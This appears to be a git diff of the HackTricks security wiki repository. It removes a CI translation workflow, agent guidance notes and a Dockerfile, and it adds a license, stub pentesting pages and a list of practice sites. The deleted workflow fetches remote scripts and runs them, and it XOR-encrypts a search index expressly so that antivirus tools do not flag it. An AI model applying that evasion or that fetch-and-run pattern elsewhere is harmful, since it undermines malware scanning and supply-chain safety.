+ - run: flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics
+ - run: isort --check-only --profile black . || true
+ - run: pip install -r requirements.txt || true
+ - run: mypy --ignore-missing-imports . || true
+ - run: pytest . || true
+ - run: pytest --doctest-modules . || true
+ - run: shopt -s globstar && pyupgrade --py36-plus **/*.py || true
diff --git a/.github/workflows/translate_all.yml b/.github/workflows/translate_all.yml
deleted file mode 100644
index 9041c34b8b6..00000000000
--- a/.github/workflows/translate_all.yml
+++ /dev/null
@@ -1,312 +0,0 @@
-name: Translate All
-
-on:
- push:
- branches:
- - master
- paths-ignore:
- - '.gitignore'
- - Dockerfile
- workflow_dispatch:
-
-permissions:
- packages: write
- id-token: write
- contents: write
-
-jobs:
- translate:
- name: Translate → ${{ matrix.name }} (${{ matrix.branch }})
- runs-on: ubuntu-latest
-
- # Run N languages in parallel (tune max-parallel if needed)
- strategy:
- fail-fast: false
- # max-parallel: 3 #Nothing to run all in parallel
- matrix:
- include:
- - { name: "Afrikaans", language: "Afrikaans", branch: "af" }
- - { name: "German", language: "German", branch: "de" }
- - { name: "Greek", language: "Greek", branch: "el" }
- - { name: "Spanish", language: "Spanish", branch: "es" }
- - { name: "French", language: "French", branch: "fr" }
- - { name: "Hindi", language: "Hindi", branch: "hi" }
- - { name: "Italian", language: "Italian", branch: "it" }
- - { name: "Japanese", language: "Japanese", branch: "ja" }
- - { name: "Korean", language: "Korean", branch: "ko" }
- - { name: "Polish", language: "Polish", branch: "pl" }
- - { name: "Portuguese", language: "Portuguese", branch: "pt" }
- - { name: "Serbian", language: "Serbian", branch: "sr" }
- - { name: "Swahili", language: "Swahili", branch: "sw" }
- - { name: "Turkish", language: "Turkish", branch: "tr" }
- - { name: "Ukrainian", language: "Ukrainian", branch: "uk" }
- - { name: "Chinese", language: "Chinese", branch: "zh" }
-
- # Ensure only one job per branch runs at a time (even across workflow runs)
- concurrency:
- group: translate-cloud-${{ matrix.branch }}
- cancel-in-progress: false
-
- container:
- image: ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image:latest
-
- env:
- LANGUAGE: ${{ matrix.language }}
- BRANCH: ${{ matrix.branch }}
-
- steps:
- - name: Checkout code
- uses: actions/checkout@v6
- with:
- fetch-depth: 0
-
- - name: Update and download scripts
- run: |
- sudo apt-get update
- # Install GitHub CLI properly
- curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
- && sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \
- && echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \
- && sudo apt update \
- && sudo apt install gh -y \
- && sudo apt-get install -y wget
- mkdir -p scripts
- cd scripts
- wget -O get_and_save_refs.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/master/scripts/get_and_save_refs.py
- wget -O compare_and_fix_refs.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/master/scripts/compare_and_fix_refs.py
- wget -O translator.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/master/scripts/translator.py
- cp mark_unchanged_s3_files.py /tmp/mark_unchanged_s3_files.py
- cd ..
- wget -O /tmp/seo_postprocess.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/master/scripts/seo_postprocess.py
-
- - name: Run get_and_save_refs.py
- run: |
- python scripts/get_and_save_refs.py
-
- - name: Download language branch & update refs
- run: |
- git config --global --add safe.directory /__w/hacktricks/hacktricks
- git config --global user.name 'Translator'
- git config --global user.email 'github-actions@github.com'
- git config pull.rebase false
- git checkout $BRANCH
- git pull
- python scripts/compare_and_fix_refs.py --files-unmatched-paths /tmp/file_paths.txt
- git add .
- git commit -m "Fix unmatched refs" || echo "No changes to commit"
- git push || echo "No changes to push"
-
- - name: Run translation script on changed files
- run: |
- git checkout master
- export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
- git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
- if echo "$file" | grep -qE '\.md$'; then
- echo -n ",$file" >> /tmp/file_paths.txt
- fi
- done
-
- echo "Files to translate (`wc -l < /tmp/file_paths.txt`):"
- cat /tmp/file_paths.txt
- echo ""
- echo ""
- touch /tmp/file_paths.txt
-
- if [ -s /tmp/file_paths.txt ]; then
- python scripts/translator.py \
- --language "$LANGUAGE" \
- --branch "$BRANCH" \
- --api-key "$OPENAI_API_KEY" \
- -f "$(cat /tmp/file_paths.txt)" \
- -t 3
- else
- echo "No markdown files changed, skipping translation."
- fi
-
- - name: Build mdBook
- run: |
- git checkout "$BRANCH"
- git pull
- MDBOOK_BOOK__LANGUAGE=$BRANCH mdbook build || (echo "Error logs" && cat hacktricks-preprocessor-error.log && echo "" && echo "" && echo "Debug logs" && (cat hacktricks-preprocessor.log | tail -n 20) && exit 1)
-
- - name: Push search index to hacktricks-searchindex repo
- shell: bash
- env:
- PAT_TOKEN: ${{ secrets.PAT_TOKEN }}
- run: |
- set -euo pipefail
-
- ASSET="book/searchindex.js"
- TARGET_REPO="HackTricks-wiki/hacktricks-searchindex"
- FILENAME="searchindex-${BRANCH}.js"
-
- if [ ! -f "$ASSET" ]; then
- echo "Expected $ASSET to exist after build" >&2
- exit 1
- fi
-
- TOKEN="${PAT_TOKEN}"
- if [ -z "$TOKEN" ]; then
- echo "No PAT_TOKEN available" >&2
- exit 1
- fi
-
- # Clone the searchindex repo
- git clone https://x-access-token:${TOKEN}@github.com/${TARGET_REPO}.git /tmp/searchindex-repo
-
- # Compress the searchindex file
- gzip -9 -k -f "$ASSET"
-
- # Show compression stats
- ORIGINAL_SIZE=$(wc -c < "$ASSET")
- COMPRESSED_SIZE=$(wc -c < "${ASSET}.gz")
- RATIO=$(awk "BEGIN {printf \"%.1f\", ($COMPRESSED_SIZE / $ORIGINAL_SIZE) * 100}")
- echo "Compression: ${ORIGINAL_SIZE} bytes -> ${COMPRESSED_SIZE} bytes (${RATIO}%)"
-
- # XOR encrypt the compressed file
- KEY='Prevent_Online_AVs_From_Flagging_HackTricks_Search_Gzip_As_Malicious_394h7gt8rf9u3rf9g'
- cat > /tmp/xor_encrypt.py << 'EOF'
- import sys
- key = sys.argv[1]
- input_file = sys.argv[2]
- output_file = sys.argv[3]
- with open(input_file, 'rb') as f:
- data = f.read()
- key_bytes = key.encode('utf-8')
- encrypted = bytearray(len(data))
- for i in range(len(data)):
- encrypted[i] = data[i] ^ key_bytes[i % len(key_bytes)]
- with open(output_file, 'wb') as f:
- f.write(encrypted)
- print(f"Encrypted: {len(data)} bytes")
- EOF
- python3 /tmp/xor_encrypt.py "$KEY" "${ASSET}.gz" "${ASSET}.gz.enc"
-
- # Copy ONLY the encrypted .gz version to the searchindex repo (no uncompressed .js)
- cp "${ASSET}.gz.enc" "/tmp/searchindex-repo/${FILENAME}.gz"
-
- # Commit and push with retry logic
- cd /tmp/searchindex-repo
- git config user.name "GitHub Actions"
- git config user.email "github-actions@github.com"
- git add "${FILENAME}.gz"
-
- if git diff --staged --quiet; then
- echo "No changes to commit"
- else
- git commit -m "Update ${FILENAME} from hacktricks-cloud build"
-
- # Retry push up to 20 times with pull --rebase between attempts
- MAX_RETRIES=20
- RETRY_COUNT=0
- while [ $RETRY_COUNT -lt $MAX_RETRIES ]; do
- if git push origin master; then
- echo "Successfully pushed on attempt $((RETRY_COUNT + 1))"
- break
- else
- RETRY_COUNT=$((RETRY_COUNT + 1))
- if [ $RETRY_COUNT -lt $MAX_RETRIES ]; then
- echo "Push failed, attempt $RETRY_COUNT/$MAX_RETRIES. Pulling and retrying..."
-
- # Try normal rebase first
- if git pull --rebase origin master 2>&1 | tee /tmp/pull_output.txt; then
- echo "Rebase successful, retrying push..."
- else
- # If rebase fails due to divergent histories (orphan branch reset), re-clone
- if grep -q "unrelated histories\|refusing to merge\|fatal: invalid upstream\|couldn't find remote ref" /tmp/pull_output.txt; then
- echo "Detected history rewrite, re-cloning repository..."
- cd /tmp
- rm -rf searchindex-repo
- git clone https://x-access-token:${TOKEN}@github.com/${TARGET_REPO}.git searchindex-repo
- cd searchindex-repo
- git config user.name "GitHub Actions"
- git config user.email "github-actions@github.com"
-
- # Re-copy ONLY the encrypted .gz version (no uncompressed .js)
- cp "${ASSET}.gz.enc" "${FILENAME}.gz"
-
- git add "${FILENAME}.gz"
- git commit -m "Update ${FILENAME}.gz from hacktricks-cloud build"
- echo "Re-cloned and re-committed, will retry push..."
- else
- echo "Rebase failed for unknown reason, retrying anyway..."
- fi
- fi
-
- sleep 1
- else
- echo "Failed to push after $MAX_RETRIES attempts"
- exit 1
- fi
- fi
- done
- fi
-
- # Login in AWS
- - name: Configure AWS credentials using OIDC
- uses: aws-actions/configure-aws-credentials@v6
- with:
- role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
- aws-region: us-east-1
-
- - name: Post-process SEO artifacts
- run: |
- python3 /tmp/seo_postprocess.py pages \
- --book-dir ./book \
- --site-url https://hacktricks.wiki \
- --lang "$BRANCH" \
- --default-lang en \
- --site-name "HackTricks"
-
- # Sync the build to S3
- - name: Sync to S3
- run: |
- echo "Current branch:"
- git rev-parse --abbrev-ref HEAD
- echo "Syncing $BRANCH to S3"
- # mdBook refreshes mtimes on every build. Age byte-identical files
- # based on single-part S3 ETags so `s3 sync` skips redundant PUTs.
- aws s3api list-objects-v2 \
- --bucket hacktricks-wiki \
- --prefix "$BRANCH/" \
- --output json > /tmp/s3-branch-manifest.json
- python3 /tmp/mark_unchanged_s3_files.py \
- --source ./book \
- --manifest /tmp/s3-branch-manifest.json \
- --remote-prefix "$BRANCH/"
- aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete
- echo "Sync completed"
- echo "Cat 3 files from the book"
- find . -type f -name 'index.html' -print | head -n 3 | xargs -r cat
-
- - name: Refresh root sitemap index
- id: root_sitemap
- shell: bash
- run: |
- set -euo pipefail
- LANGS=$(aws s3api list-objects-v2 --bucket hacktricks-wiki --delimiter / --query 'CommonPrefixes[].Prefix' --output text | tr '\t' '\n' | sed 's:/$::' | grep -E '^[a-z]{2}$' | sort | paste -sd, - || true)
- if [ -z "$LANGS" ]; then
- LANGS="en"
- fi
- python3 /tmp/seo_postprocess.py index --site-url https://hacktricks.wiki --languages "$LANGS" --output ./sitemap.xml
- if aws s3 cp s3://hacktricks-wiki/sitemap.xml /tmp/current-root-sitemap.xml >/dev/null 2>&1 && cmp -s /tmp/current-root-sitemap.xml ./sitemap.xml; then
- echo "Root sitemap unchanged; skipping S3 upload and CloudFront invalidation for /sitemap.xml"
- echo "changed=false" >> "$GITHUB_OUTPUT"
- else
- aws s3 cp ./sitemap.xml s3://hacktricks-wiki/sitemap.xml --content-type application/xml --cache-control max-age=300
- echo "changed=true" >> "$GITHUB_OUTPUT"
- fi
-
- - name: Invalidate CloudFront HTML and SEO assets
- shell: bash
- run: |
- set -euo pipefail
- # The wildcard already invalidates the language sitemap, so avoid
- # paying for a redundant explicit /$BRANCH/sitemap.xml path.
- paths=("/$BRANCH/*")
- if [ "${{ steps.root_sitemap.outputs.changed }}" = "true" ]; then
- paths+=("/sitemap.xml")
- fi
- aws cloudfront create-invalidation \
- --distribution-id "${{ secrets.CLOUDFRONT_DISTRIBUTION_ID }}" \
- --paths "${paths[@]}"
diff --git a/.gitignore b/.gitignore
deleted file mode 100644
index ca861387703..00000000000
--- a/.gitignore
+++ /dev/null
@@ -1,14 +0,0 @@
-.dccache
-scripts/
-scripts/*
-.DS_Store
-**/.DS_Store
-.vscode
-.vscode/*
-
-#mdbook
-book
-book/*
-hacktricks-preprocessor.log
-hacktricks-preprocessor-error.log
-searchindex.js
diff --git a/.mdbook-build.err b/.mdbook-build.err
deleted file mode 100644
index 23364b7bcd0..00000000000
--- a/.mdbook-build.err
+++ /dev/null
@@ -1 +0,0 @@
-/bin/bash: line 10: mdbook: command not found
diff --git a/.mdbook-build.log b/.mdbook-build.log
deleted file mode 100644
index e69de29bb2d..00000000000
diff --git a/.tmp_hope.pdf b/.tmp_hope.pdf
deleted file mode 100644
index df415f5c8a9..00000000000
Binary files a/.tmp_hope.pdf and /dev/null differ
diff --git a/.tmp_malloc.c b/.tmp_malloc.c
deleted file mode 100644
index e69de29bb2d..00000000000
diff --git a/1911-pentesting-fox.md b/1911-pentesting-fox.md
new file mode 100644
index 00000000000..d476f4106b4
--- /dev/null
+++ b/1911-pentesting-fox.md
@@ -0,0 +1,26 @@
+# 1911 - Pentesting fox
+
+And more services:
+
+ubiquiti-discover udp "Ubiquiti Networks Device"
+
+dht udp "DHT Nodes"
+
+5060 udp sip "SIP/"
+
+
+
+
+
+InfluxDB
+
+
+
+
+
+
+
+
+
+
+
diff --git a/6881-udp-pentesting-bittorrent.md b/6881-udp-pentesting-bittorrent.md
new file mode 100644
index 00000000000..33f1e351d4f
--- /dev/null
+++ b/6881-udp-pentesting-bittorrent.md
@@ -0,0 +1,2 @@
+# 6881/udp - Pentesting BitTorrent
+
diff --git a/AGENTS.md b/AGENTS.md
deleted file mode 100644
index 6e4677b4690..00000000000
--- a/AGENTS.md
+++ /dev/null
@@ -1,77 +0,0 @@
-# AGENTS.md
-
-Guidance for future agents working in this repository.
-
-## Repository Context
-
-This is the main HackTricks mdBook repository. The related cloud book lives at:
-
-`/Users/carlospolop/git/hacktricks-cloud`
-
-Changes to shared theme/search behavior often need to be applied in both repositories.
-
-## Search Index Loading Contract
-
-The custom search UI lives in:
-
-`theme/ht_searcher.js`
-
-There may also be a generated copy at:
-
-`book/theme/ht_searcher.js`
-
-If production is deploying the already-built `book/` directory, update both copies or rebuild the
-book before deployment.
-
-The search index loading order is important and cost-sensitive:
-
-1. Load every language-specific and fallback search index from the GitHub repository:
- `HackTricks-wiki/hacktricks-searchindex`
-2. Only if all GitHub-hosted candidates fail, fall back to the same-origin mdBook output.
-
-Do not place the local `/searchindex.js` fallback before any GitHub-hosted fallback such as
-`searchindex-en.js.gz`. Serving `searchindex.js` from `hacktricks.wiki` in production is expensive.
-
-For this repo, the expected local fallback is:
-
-`/searchindex.js`
-
-The cloud index should not use a local fallback from this origin. It should rely on the remote
-`searchindex-cloud-.js.gz` files.
-
-## Search Index Publishing
-
-The workflows that publish encrypted compressed search indexes to
-`HackTricks-wiki/hacktricks-searchindex` are:
-
-- `.github/workflows/build_master.yml`
-- `.github/workflows/translate_all.yml`
-
-The generated source file is `book/searchindex.js`. The published remote artifact names are:
-
-- `searchindex-en.js.gz`
-- `searchindex-.js.gz`
-
-The browser loader expects the remote `.js.gz` files to be XOR-encrypted gzip payloads using the
-key defined in `theme/ht_searcher.js`.
-
-## Build And Validation
-
-Common local checks:
-
-- `node --check theme/ht_searcher.js`
-- `mdbook build`
-
-If `mdbook build` fails, check:
-
-- `hacktricks-preprocessor-error.log`
-- `hacktricks-preprocessor.log`
-
-## Editing Notes
-
-- Prefer `rg` for searching.
-- Keep generated `book/` output out of commits unless explicitly requested. Search loader fixes are
- an exception when the already-built pages must be corrected immediately.
-- If changing shared theme behavior, compare and update the matching file in
- `/Users/carlospolop/git/hacktricks-cloud`.
-- Do not revert unrelated local changes.
diff --git a/Dockerfile b/Dockerfile
deleted file mode 100644
index bc3b66ed67c..00000000000
--- a/Dockerfile
+++ /dev/null
@@ -1,23 +0,0 @@
-FROM ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image:latest
-
-# Variable de idioma (cambia "master" a "es" si lo quieres en español, etc.)
-ARG HT_LANG=master
-ENV HT_LANG=${HT_LANG}
-
-# Configuración de git y preparación
-RUN mkdir -p ~/.ssh && \
- ssh-keyscan -H github.com >> ~/.ssh/known_hosts && \
- git config --global --add safe.directory /app
-
-# Copiamos el repo clonado en CapRover al contenedor
-WORKDIR /app
-COPY . /app
-
-# Selecciona idioma y construye la documentación
-RUN git checkout ${HT_LANG} && git pull
-
-# Exponemos el puerto que usará mdbook
-EXPOSE 3000
-
-# Ejecuta mdbook en modo servidor
-CMD ["bash", "-c", "MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0 --port 3000"]
diff --git a/LICENSE.md b/LICENSE.md
new file mode 100644
index 00000000000..d4003fec27d
--- /dev/null
+++ b/LICENSE.md
@@ -0,0 +1,182 @@
+
Copyright © Carlos Polop 2020. Except where otherwise specified, the text on HACK TRICKS by Carlos Polop is licensed under the Creative Commons Attribution-ShareAlike License 4.0 (International) (CC-BY-SA 4.0).
+
+License: Creative Commons Attribution-ShareAlike 4.0 International
+Human Readable License: https://creativecommons.org/licenses/by-sa/4.0/
+Complete Legal Terms: https://creativecommons.org/licenses/by-sa/4.0/legalcode
+Formatting: https://github.com/jmatsushita/Creative-Commons-4.0-Markdown/blob/master/licenses/by-sa.markdown
+
+## creative commons
+
+# Attribution-ShareAlike 4.0 International
+
+Official translations of this license are available in other languages.
+
+Creative Commons Corporation (“Creative Commons”) is not a law firm and does not provide legal services or legal advice. Distribution of Creative Commons public licenses does not create a lawyer-client or other relationship. Creative Commons makes its licenses and related information available on an “as-is” basis. Creative Commons gives no warranties regarding its licenses, any material licensed under their terms and conditions, or any related information. Creative Commons disclaims all liability for damages resulting from their use to the fullest extent possible.
+
+### Using Creative Commons Public Licenses
+
+Creative Commons public licenses provide a standard set of terms and conditions that creators and other rights holders may use to share original works of authorship and other material subject to copyright and certain other rights specified in the public license below. The following considerations are for informational purposes only, are not exhaustive, and do not form part of our licenses.
+
+* __Considerations for licensors:__ Our public licenses are intended for use by those authorized to give the public permission to use material in ways otherwise restricted by copyright and certain other rights. Our licenses are irrevocable. Licensors should read and understand the terms and conditions of the license they choose before applying it. Licensors should also secure all rights necessary before applying our licenses so that the public can reuse the material as expected. Licensors should clearly mark any material not subject to the license. This includes other CC-licensed material, or material used under an exception or limitation to copyright. [More considerations for licensors](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensors).
+
+* __Considerations for the public:__ By using one of our public licenses, a licensor grants the public permission to use the licensed material under specified terms and conditions. If the licensor’s permission is not necessary for any reason–for example, because of any applicable exception or limitation to copyright–then that use is not regulated by the license. Our licenses grant only permissions under copyright and certain other rights that a licensor has authority to grant. Use of the licensed material may still be restricted for other reasons, including because others have copyright or other rights in the material. A licensor may make special requests, such as asking that all changes be marked or described. Although not required by our licenses, you are encouraged to respect those requests where reasonable. [More considerations for the public](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensees).
+
+## Creative Commons Attribution-ShareAlike 4.0 International Public License
+
+By exercising the Licensed Rights (defined below), You accept and agree to be bound by the terms and conditions of this Creative Commons Attribution-ShareAlike 4.0 International Public License ("Public License"). To the extent this Public License may be interpreted as a contract, You are granted the Licensed Rights in consideration of Your acceptance of these terms and conditions, and the Licensor grants You such rights in consideration of benefits the Licensor receives from making the Licensed Material available under these terms and conditions.
+
+### Section 1 – Definitions.
+
+a. __Adapted Material__ means material subject to Copyright and Similar Rights that is derived from or based upon the Licensed Material and in which the Licensed Material is translated, altered, arranged, transformed, or otherwise modified in a manner requiring permission under the Copyright and Similar Rights held by the Licensor. For purposes of this Public License, where the Licensed Material is a musical work, performance, or sound recording, Adapted Material is always produced where the Licensed Material is synched in timed relation with a moving image.
+
+b. __Adapter's License__ means the license You apply to Your Copyright and Similar Rights in Your contributions to Adapted Material in accordance with the terms and conditions of this Public License.
+
+c. __BY-SA Compatible License__ means a license listed at [creativecommons.org/compatiblelicenses](http://creativecommons.org/compatiblelicenses), approved by Creative Commons as essentially the equivalent of this Public License.
+
+d. __Copyright and Similar Rights__ means copyright and/or similar rights closely related to copyright including, without limitation, performance, broadcast, sound recording, and Sui Generis Database Rights, without regard to how the rights are labeled or categorized. For purposes of this Public License, the rights specified in Section 2(b)(1)-(2) are not Copyright and Similar Rights.
+
+e. __Effective Technological Measures__ means those measures that, in the absence of proper authority, may not be circumvented under laws fulfilling obligations under Article 11 of the WIPO Copyright Treaty adopted on December 20, 1996, and/or similar international agreements.
+
+f. __Exceptions and Limitations__ means fair use, fair dealing, and/or any other exception or limitation to Copyright and Similar Rights that applies to Your use of the Licensed Material.
+
+g. __License Elements__ means the license attributes listed in the name of a Creative Commons Public License. The License Elements of this Public License are Attribution and ShareAlike.
+
+h. __Licensed Material__ means the artistic or literary work, database, or other material to which the Licensor applied this Public License.
+
+i. __Licensed Rights__ means the rights granted to You subject to the terms and conditions of this Public License, which are limited to all Copyright and Similar Rights that apply to Your use of the Licensed Material and that the Licensor has authority to license.
+
+j. __Licensor__ means the individual(s) or entity(ies) granting rights under this Public License.
+
+k. __Share__ means to provide material to the public by any means or process that requires permission under the Licensed Rights, such as reproduction, public display, public performance, distribution, dissemination, communication, or importation, and to make material available to the public including in ways that members of the public may access the material from a place and at a time individually chosen by them.
+
+l. __Sui Generis Database Rights__ means rights other than copyright resulting from Directive 96/9/EC of the European Parliament and of the Council of 11 March 1996 on the legal protection of databases, as amended and/or succeeded, as well as other essentially equivalent rights anywhere in the world.
+
+m. __You__ means the individual or entity exercising the Licensed Rights under this Public License. Your has a corresponding meaning.
+
+### Section 2 – Scope.
+
+a. ___License grant.___
+
+ 1. Subject to the terms and conditions of this Public License, the Licensor hereby grants You a worldwide, royalty-free, non-sublicensable, non-exclusive, irrevocable license to exercise the Licensed Rights in the Licensed Material to:
+
+ A. reproduce and Share the Licensed Material, in whole or in part; and
+
+ B. produce, reproduce, and Share Adapted Material.
+
+ 2. __Exceptions and Limitations.__ For the avoidance of doubt, where Exceptions and Limitations apply to Your use, this Public License does not apply, and You do not need to comply with its terms and conditions.
+
+ 3. __Term.__ The term of this Public License is specified in Section 6(a).
+
+ 4. __Media and formats; technical modifications allowed.__ The Licensor authorizes You to exercise the Licensed Rights in all media and formats whether now known or hereafter created, and to make technical modifications necessary to do so. The Licensor waives and/or agrees not to assert any right or authority to forbid You from making technical modifications necessary to exercise the Licensed Rights, including technical modifications necessary to circumvent Effective Technological Measures. For purposes of this Public License, simply making modifications authorized by this Section 2(a)(4) never produces Adapted Material.
+
+ 5. __Downstream recipients.__
+
+ A. __Offer from the Licensor – Licensed Material.__ Every recipient of the Licensed Material automatically receives an offer from the Licensor to exercise the Licensed Rights under the terms and conditions of this Public License.
+
+ B. __Additional offer from the Licensor – Adapted Material.__ Every recipient of Adapted Material from You automatically receives an offer from the Licensor to exercise the Licensed Rights in the Adapted Material under the conditions of the Adapter’s License You apply.
+
+ C. __No downstream restrictions.__ You may not offer or impose any additional or different terms or conditions on, or apply any Effective Technological Measures to, the Licensed Material if doing so restricts exercise of the Licensed Rights by any recipient of the Licensed Material.
+
+ 6. __No endorsement.__ Nothing in this Public License constitutes or may be construed as permission to assert or imply that You are, or that Your use of the Licensed Material is, connected with, or sponsored, endorsed, or granted official status by, the Licensor or others designated to receive attribution as provided in Section 3(a)(1)(A)(i).
+
+b. ___Other rights.___
+
+ 1. Moral rights, such as the right of integrity, are not licensed under this Public License, nor are publicity, privacy, and/or other similar personality rights; however, to the extent possible, the Licensor waives and/or agrees not to assert any such rights held by the Licensor to the limited extent necessary to allow You to exercise the Licensed Rights, but not otherwise.
+
+ 2. Patent and trademark rights are not licensed under this Public License.
+
+ 3. To the extent possible, the Licensor waives any right to collect royalties from You for the exercise of the Licensed Rights, whether directly or through a collecting society under any voluntary or waivable statutory or compulsory licensing scheme. In all other cases the Licensor expressly reserves any right to collect such royalties.
+
+### Section 3 – License Conditions.
+
+Your exercise of the Licensed Rights is expressly made subject to the following conditions.
+
+a. ___Attribution.___
+
+ 1. If You Share the Licensed Material (including in modified form), You must:
+
+ A. retain the following if it is supplied by the Licensor with the Licensed Material:
+
+ i. identification of the creator(s) of the Licensed Material and any others designated to receive attribution, in any reasonable manner requested by the Licensor (including by pseudonym if designated);
+
+ ii. a copyright notice;
+
+ iii. a notice that refers to this Public License;
+
+ iv. a notice that refers to the disclaimer of warranties;
+
+ v. a URI or hyperlink to the Licensed Material to the extent reasonably practicable;
+
+ B. indicate if You modified the Licensed Material and retain an indication of any previous modifications; and
+
+ C. indicate the Licensed Material is licensed under this Public License, and include the text of, or the URI or hyperlink to, this Public License.
+
+ 2. You may satisfy the conditions in Section 3(a)(1) in any reasonable manner based on the medium, means, and context in which You Share the Licensed Material. For example, it may be reasonable to satisfy the conditions by providing a URI or hyperlink to a resource that includes the required information.
+
+ 3. If requested by the Licensor, You must remove any of the information required by Section 3(a)(1)(A) to the extent reasonably practicable.
+
+b. ___ShareAlike.___
+
+In addition to the conditions in Section 3(a), if You Share Adapted Material You produce, the following conditions also apply.
+
+1. The Adapter’s License You apply must be a Creative Commons license with the same License Elements, this version or later, or a BY-SA Compatible License.
+
+2. You must include the text of, or the URI or hyperlink to, the Adapter's License You apply. You may satisfy this condition in any reasonable manner based on the medium, means, and context in which You Share Adapted Material.
+
+3. You may not offer or impose any additional or different terms or conditions on, or apply any Effective Technological Measures to, Adapted Material that restrict exercise of the rights granted under the Adapter's License You apply.
+
+### Section 4 – Sui Generis Database Rights.
+
+Where the Licensed Rights include Sui Generis Database Rights that apply to Your use of the Licensed Material:
+
+a. for the avoidance of doubt, Section 2(a)(1) grants You the right to extract, reuse, reproduce, and Share all or a substantial portion of the contents of the database;
+
+b. if You include all or a substantial portion of the database contents in a database in which You have Sui Generis Database Rights, then the database in which You have Sui Generis Database Rights (but not its individual contents) is Adapted Material, including for purposes of Section 3(b); and
+
+c. You must comply with the conditions in Section 3(a) if You Share all or a substantial portion of the contents of the database.
+
+For the avoidance of doubt, this Section 4 supplements and does not replace Your obligations under this Public License where the Licensed Rights include other Copyright and Similar Rights.
+
+### Section 5 – Disclaimer of Warranties and Limitation of Liability.
+
+a. __Unless otherwise separately undertaken by the Licensor, to the extent possible, the Licensor offers the Licensed Material as-is and as-available, and makes no representations or warranties of any kind concerning the Licensed Material, whether express, implied, statutory, or other. This includes, without limitation, warranties of title, merchantability, fitness for a particular purpose, non-infringement, absence of latent or other defects, accuracy, or the presence or absence of errors, whether or not known or discoverable. Where disclaimers of warranties are not allowed in full or in part, this disclaimer may not apply to You.__
+
+b. __To the extent possible, in no event will the Licensor be liable to You on any legal theory (including, without limitation, negligence) or otherwise for any direct, special, indirect, incidental, consequential, punitive, exemplary, or other losses, costs, expenses, or damages arising out of this Public License or use of the Licensed Material, even if the Licensor has been advised of the possibility of such losses, costs, expenses, or damages. Where a limitation of liability is not allowed in full or in part, this limitation may not apply to You.__
+
+c. The disclaimer of warranties and limitation of liability provided above shall be interpreted in a manner that, to the extent possible, most closely approximates an absolute disclaimer and waiver of all liability.
+
+### Section 6 – Term and Termination.
+
+a. This Public License applies for the term of the Copyright and Similar Rights licensed here. However, if You fail to comply with this Public License, then Your rights under this Public License terminate automatically.
+
+b. Where Your right to use the Licensed Material has terminated under Section 6(a), it reinstates:
+
+ 1. automatically as of the date the violation is cured, provided it is cured within 30 days of Your discovery of the violation; or
+
+ 2. upon express reinstatement by the Licensor.
+
+ For the avoidance of doubt, this Section 6(b) does not affect any right the Licensor may have to seek remedies for Your violations of this Public License.
+
+c. For the avoidance of doubt, the Licensor may also offer the Licensed Material under separate terms or conditions or stop distributing the Licensed Material at any time; however, doing so will not terminate this Public License.
+
+d. Sections 1, 5, 6, 7, and 8 survive termination of this Public License.
+
+### Section 7 – Other Terms and Conditions.
+
+a. The Licensor shall not be bound by any additional or different terms or conditions communicated by You unless expressly agreed.
+
+b. Any arrangements, understandings, or agreements regarding the Licensed Material not stated herein are separate from and independent of the terms and conditions of this Public License.t stated herein are separate from and independent of the terms and conditions of this Public License.
+
+### Section 8 – Interpretation.
+
+a. For the avoidance of doubt, this Public License does not, and shall not be interpreted to, reduce, limit, restrict, or impose conditions on any use of the Licensed Material that could lawfully be made without permission under this Public License.
+
+b. To the extent possible, if any provision of this Public License is deemed unenforceable, it shall be automatically reformed to the minimum extent necessary to make it enforceable. If the provision cannot be reformed, it shall be severed from this Public License without affecting the enforceability of the remaining terms and conditions.
+
+c. No term or condition of this Public License will be waived and no failure to comply consented to unless expressly agreed to by the Licensor.
+
+d. Nothing in this Public License constitutes or may be interpreted as a limitation upon, or waiver of, any privileges and immunities that apply to the Licensor or You, including from the legal processes of any jurisdiction or authority.
+
+Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at [creativecommons.org/policies](http://creativecommons.org/policies), Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses.
+
+Creative Commons may be contacted at [creativecommons.org](http://creativecommons.org/).
diff --git a/Learning & Hacking.md b/Learning & Hacking.md
new file mode 100644
index 00000000000..2b3d865d95d
--- /dev/null
+++ b/Learning & Hacking.md
@@ -0,0 +1,51 @@
+# Learning Pages and VMs
+
+## https://tryhackme.com/
+
+Tryhackme is a platform with virtual machines that need to be solved through walkthroughs, which is very good for beginners and normal CTFs where you self must hack into the machines.
+
+
+
+## https://www.root-me.org/
+
+Rootme is another page for online hosted virtual machines to hack.
+
+
+
+## https://www.vulnhub.com/
+
+Vulnhub has machines to download and then to hack
+
+
+
+## https://www.hackthebox.eu/ https://academy.hackthebox.eu/catalogue
+
+Hackthebox has online machines to hack, but there are very limited in the free version.
+
+Recently the launched their academy, but it is a bit more expensive than for example tryhackme and has less.
+
+
+
+## https://hack.me/
+
+This site seems to be a community platform
+
+
+
+## https://www.hacker101.com/
